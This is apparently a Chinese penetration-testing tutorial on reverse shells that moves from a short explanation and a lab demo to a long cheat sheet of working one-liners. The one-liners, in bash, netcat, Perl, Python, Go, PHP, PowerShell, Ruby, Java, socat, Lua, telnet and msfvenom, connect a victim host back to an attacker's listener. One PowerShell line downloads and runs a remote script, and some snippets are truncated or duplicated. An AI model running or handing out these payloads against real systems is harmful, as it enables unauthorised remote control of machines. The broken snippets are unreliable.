Shell 是一个应用程序,它连接了用户和 Linux 内核,让用户能够更加高效、安全、低成本地使用 Linux 内核,这就是 Shell 的本质。
0×01 前言
Shell 是一个应用程序,它连接了用户和 Linux 内核,让用户能够更加高效、安全、低成本地使用 Linux 内核,这就是 Shell 的本质。然而 Shell 的功能是能够接收用户输入的命令,并对命令进行处理,处理完毕后再将结果反馈给用户,比如输出到显示器、写入到文件等。
0×02 shell 和反弹 shell
正常 shell
- 需要先在客户端(攻击端)开机情况下开启程序,然后客户端(攻击端)运行程序,才能连接服务端(被攻击端)
反弹 shell
- 先启用服务端(攻击端),再启用客户端(被攻击端)
- 就是控制端监听在某 TCP/UDP 端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell 与 telnet,ssh 等标准 shell 对应,本质上是网络概念的客户端与服务端的角色反转。
0×03 为什么要反弹 shell
当我们在渗透 Linux 主机时,反弹一个交互的 shell 是非常有必要的。反弹 shell 通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标 ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web 服务,ssh,telnet 等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
- 对方主机在局域网内,从外网无法直接访问。
- 对方主机上存在 WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
- 对方的 ip 会动态改变,你不能持续控制。
- 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到 webshell 后一般我们会反弹 shell。
0×04 反弹 shell 的流程
操作步骤
- 在本机开启并监听端口
- 在需要被控制的机器上执行反弹 shell 命令
- 在本机监听反弹 shell 的端口
原理解释
- A 主机开启 9090 端口的 tcp 服务
- B 主机连接到 A 主机的 9090 的 tcp 服务
- A 主机通过 tcp 服务把命令发到 B 主机
- B 主机读取命令并且在 bash 中执行
- B 主机把执行结果发给 A 主机
- 这样就可以在 A 主机中操控B 主机了
0×05 反弹 shell 实战
centos:10.0.36.51
bash -i >& /dev/tcp/10.0.36.56/2333 0>&1
1 | listening on [any] 2333 ... |
1 | [root@localhost ~]# ip a |
kail:10.0.36.56
nc -lvp 2333
0×05 反弹 shell 大全
Bash 反弹 shell
/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1
Bash 反弹 shell TCP
1 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
Bash 反弹 shell UDP
1 | Victim: |
NC 反弹 shell
1 | mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12388 >/tmp/f |
perl 反弹 shell
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Python 反弹 shell
Linux
1 | // 方法一 |
Windows Python 反弹 shell
1 | C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" |
Golang 反弹 shell
1 | echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go |
Ncat 反弹 shell
1 | ncat 127.0.0.1 4444 -e /bin/bash |
OpenSSL 反弹 shell
1 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes |
crontab 反弹 shell
1 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes |
PHP 反弹 shell
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
Powershell 反弹 shell
1 | powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
1 | powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" |
1 | powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1') |
Ruby 反弹 shell
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
不依赖于/bin/sh 的反弹 shell
1 | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
如果目标系统运行 Windows 反弹 shell
1 | ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
Java 反弹 shell
1 | r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() |
socat 反弹 shell
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.79.137:5555 |
Lua 反弹 shell
Linux
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
Windows
1 | lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' |
Telnet 反弹 shell
1 | rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p |
获取反弹 shell 后,可使用 python 获得交互式 shell
1 | python -c'import pty; pty.spawn("/bin/bash")' python -c ''' import pty while(1): try: pty.spawn("/bin/bash") except : contiune''' |
Nodejs 反弹 shell
1 | (function(){ |
C 反弹 shell
1 | gcc c_revese_shell.c -o cshell |
UDP 反弹 shell
1 | // 注意这里务必要用udp的模式来接 |
MSF 生成反弹 shell
metasploit 是一个非常强大的渗透工具箱,当然也包括了反弹语句的生成与接收反弹 shell 的平台。它也能生成反弹 shell 一句话。msf > msfvenom -l payloads 'cmd/unix/reverse' | grep unix